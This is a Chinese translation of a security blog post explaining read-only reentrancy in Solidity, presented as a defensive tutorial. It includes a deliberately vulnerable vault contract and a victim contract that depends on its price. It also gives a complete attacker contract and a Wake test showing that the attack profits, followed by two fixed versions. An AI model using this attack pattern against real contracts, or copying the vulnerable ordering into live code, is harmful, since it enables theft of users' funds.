本文介绍了只读重入漏洞的原理、攻击方式和防御方法。该漏洞利用 view 函数在状态改变过程中的返回值,通过重入操纵智能合约并提取价值。文章通过示例合约展示了漏洞的利用方式,并提供了使用 ReentrancyGuard 和 CEI(checks-effects-interactions)模式的防御措施。
只读重入攻击使用 view 函数和重入特性来操纵智能合约并提取价值。view 函数在状态更改的中间返回该值,这允许攻击者操纵 token 价格。 让我们更仔细地看看这个漏洞以及如何预防它。
其他的重入攻击包括:
这些重入示例博客描述了一般函数的攻击。 但是在只读重入攻击中,漏洞存在于 view 函数中。
在这种攻击中,受害者合约依赖于易受攻击合约的 view 函数,并且它通过该 view 函数来决定价格。
这是一个易受攻击的合约的例子:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract VulnVault is ReentrancyGuard {
uint256 private totalTokens;
uint256 private totalStake;
mapping (address => uint256) public balances;
error ReadonlyReentrancy();
function getCurrentPrice() public view returns (uint256) {
if(totalTokens == 0 || totalStake == 0) return 10e18;
return totalTokens * 10e18 / totalStake;
}
function deposit() public payable nonReentrant {
uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
totalStake += msg.value;
balances[msg.sender] += mintAmount;
totalTokens += mintAmount;
}
function withdraw(uint256 burnAmount) public nonReentrant {
uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
totalStake -= sendAmount;
balances[msg.sender] -= burnAmount;
(bool success, ) = msg.sender.call{value: sendAmount}("");
require(success, "Failed to send Ether");
totalTokens -= burnAmount;
}
}
我们已经为所有 public、non-view 函数准备了 nonReentrant
修饰符。 这可以防止此合约中的重入攻击。 此外,我们通过在与 burnAmount
相关的外部调用之后、写入之前检查该值来防止重入。 这确保了在这个合约中不可能发生重入。
但是,如果在提款的外部调用中调用 getCurrentPrice
函数,则 getCurrentPrice
函数会返回不同的值。 因为此时 totalTokens
值与实际值不同,所以这是一个问题。 此外,如果在 withdraw
的外部调用期间调用 getCurrentPrice
函数,它可能会返回不同的值。 这种差异的出现是因为此时的 totalTokens
值不准确,这可能会导致潜在的问题。
如果一个池以类似的方式工作,使用 getCurrentPrice
函数,那么该函数可能会返回比实际价格更高的值。 这是有问题的。
这是受害者合约。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./VulnVault.sol";
contract VictimVault is ReentrancyGuard {
VulnVault vulnVault;
mapping (address => uint256) public balances;
constructor(address vulnVaultAddress) {
vulnVault = VulnVault(vulnVaultAddress);
}
function deposit() public payable nonReentrant {
uint256 tokenAmount = msg.value * vulnVault.getCurrentPrice() / 10e18;
balances[msg.sender] += tokenAmount;
}
function withdraw(uint256 tokenAmount) public nonReentrant {
balances[msg.sender] -= tokenAmount;
uint256 ethAmount = tokenAmount * 10e18 / vulnVault.getCurrentPrice();
(bool success, ) = msg.sender.call{value: ethAmount}("");
require(success, "Failed to send Ether");
}
}
ethAmount
取决于 withdraw
函数中的 vulnVault.getCurrentPrice
。
并且 tokenAmount
的 deposit
函数也取决于 vulnVault.getCurrentPrice
。
因此,如果 vulnVault.getCurrentPrice
与实际值不同,攻击者可以获利。
如果我们这样做:
VulnVault.withdraw
。VictimVault.deposit
函数vulnVault.getCurrentPrice
返回一个不正确的值,而且比实际值更大,因为 totalTokens
仍然没有更新。 因为 getCurrentPrice
内部的计算是由 totalTokens * 10e18 / totalStake
计算的,所以分子有一个更大的值。
因此,通过在外部调用中调用 VictimVault.deposit
函数,攻击者可以获利。
这是攻击合约:
// SPDX-License-Identifier: None
pragma solidity 0.8.20;
import "./VictimVault.sol";
import "./VulnVault.sol";
contract Attacker {
VulnVault public vulnVault;
VictimVault public victimVault;
uint256 public counter;
constructor(address vulnerable_pool, address victim_pool) payable {
vulnVault = VulnVault(vulnerable_pool);
victimVault = VictimVault(victim_pool);
counter = 0;
}
function attack() public {
vulnVault.deposit{value: 1e18}();
vulnVault.withdraw(1e18);
uint256 balance = victimVault.balances(address(this));
victimVault.withdraw(balance);
}
receive() external payable {
if(counter == 0){
counter++;
victimVault.deposit{value: 1e18}();
}
}
}
from wake.testing import *
from pytypes.contracts.readonlyreentrancy.VictimVault import VictimVault
from pytypes.contracts.readonlyreentrancy.VulnVault import VulnVault
from pytypes.contracts.readonlyreentrancy.Attacker import Attacker
@default_chain.connect()
def test_default():
print("---------------------Read Only Reentrancy---------------------")
vuln_pool = VulnVault.deploy()
victim_pool = VictimVault.deploy(vuln_pool.address)
vuln_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user
victim_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user
attacker = Attacker.deploy(vuln_pool.address, victim_pool.address,value="1 ether", from_=default_chain.accounts[0])
print("Vault balance: ", victim_pool.balance)
print("Attacker balance: ", attacker.balance)
print("---------------------attack---------------------")
tx = attacker.attack()
print(tx.call_trace)
print("Vault balance: ", victim_pool.balance)
print("Attacker balance: ", attacker.balance)
这是 Wake(我们的以太坊测试框架)的输出。 我们可以看到 Vault 余额从 10 ETH 变为 9.9 ETH。 攻击者的余额从 1 ETH 变为 1.1 ETH。
单独使用一个简单的重入保护无法阻止这种攻击。 但是,通过重入保护设置额外的检查可以有效地防止这种类型的攻击。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract VulnVault is ReentrancyGuard {
uint256 private totalTokens;
uint256 private totalStake;
mapping (address => uint256) public balances;
error ReadonlyReentrancy();
function getCurrentPrice() public view returns (uint256) {
if(_reentrancyGuardEntered()){
revert ReadonlyReentrancy();
}
if(totalTokens == 0 || totalStake == 0) return 10e18;
return totalTokens * 10e18 / totalStake;
}
function deposit() public payable nonReentrant {
uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
totalStake += msg.value;
balances[msg.sender] += mintAmount;
totalTokens += mintAmount;
}
function withdraw(uint256 burnAmount) public nonReentrant {
uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
totalStake -= sendAmount;
balances[msg.sender] -= burnAmount;
(bool success, ) = msg.sender.call{value: sendAmount}("");
require(success, "Failed to send Ether");
totalTokens -= burnAmount;
}
}
这种预防措施解决了漏洞的根本原因,因为它在外部调用之前进行了必要的状态更改。 因此,包括 view 函数在内,即使以递归方式调用它,它也会返回一个受信任的值。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract VulnVault is ReentrancyGuard {
uint256 private totalTokens;
uint256 private totalStake;
mapping (address => uint256) public balances;
error ReadonlyReentrancy();
function getCurrentPrice() public view returns (uint256) {
if(totalTokens == 0 || totalStake == 0) return 10e18;
return totalTokens * 10e18 / totalStake;
}
function deposit() public payable nonReentrant {
uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
totalStake += msg.value;
balances[msg.sender] += mintAmount;
totalTokens += mintAmount;
}
function withdraw(uint256 burnAmount) public nonReentrant {
uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
totalStake -= sendAmount;
balances[msg.sender] -= burnAmount;
totalTokens -= burnAmount;
(bool success, ) = msg.sender.call{value: sendAmount}("");
require(success, "Failed to send Ether");
}
}
这是一个只读重入攻击的例子。 在这个合约中,漏洞是微不足道的。 然而,在真实的项目中,这些漏洞通常更加微妙和复杂,隐藏在复杂的合约交互和状态管理中。 了解这种攻击媒介,可以让你在更复杂的 DeFi 协议中识别类似的模式,在这些协议中,价格预言机操纵或过时的状态读取可能会导致重大的财务损失。
我们有一个重入示例 Github 仓库,其中包含其他几种类型的重入攻击,包括攻击示例、特定于协议的重入和预防方法。 阅读下面的内容,了解如何保护你的协议。
- 原文链接: ackee.xyz/blog/read-only...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!